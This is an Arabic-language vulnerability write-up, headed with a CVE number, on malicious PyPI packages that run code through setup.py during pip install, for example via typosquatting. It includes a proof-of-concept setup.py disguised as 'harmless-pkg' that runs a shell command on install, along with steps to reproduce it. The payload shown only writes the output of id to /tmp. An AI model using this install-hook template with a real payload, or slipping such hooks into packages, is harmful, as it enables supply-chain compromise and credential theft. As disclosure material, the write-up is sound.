CVE-2026-21016 – خطاف تثبيت حزمة PyPI الخبيثة (تنفيذ setup.py)

كود البرنامج (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – خطاف تثبيت حزمة PyPI الخبيثة (setup.py)

نظرة عامة

يمكن أن تتضمن حزمة PyPI تعليمات برمجية عشوائية في ملف setup.py الخاص بها، والذي يتم تنفيذه أثناء pip install. يمكن للمهاجم نشر حزمة باسم مشابه لحزمة شائعة (typosquatting) وعند التثبيت، يتم تنفيذ الحمولة بصلاحيات المستخدم، مما يؤدي إلى تنفيذ برمجيات عن بُعد.

تفاصيل الثغرة

النوع: هجوم سلسلة التوريد / تنفيذ برمجيات
التأثير: اختراق النظام، سرقة بيانات الاعتماد.
السبب الجذري: ينفذ pip ملف setup.py دون عزل (sandbox)، مما يمنح الحزم وصولاً كاملاً.

عرض الاستغلال

أنشئ دليل الحزمة الخبيثة باستخدام ملف setup.py المعطى.
ثبّتها محليًا:
```
pip install ./harmless-pkg
```
تحقق من المخرجات:
```
cat /tmp/pwned_by_package
```

تم تنفيذ الأمر id.

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

الأكثر شعبية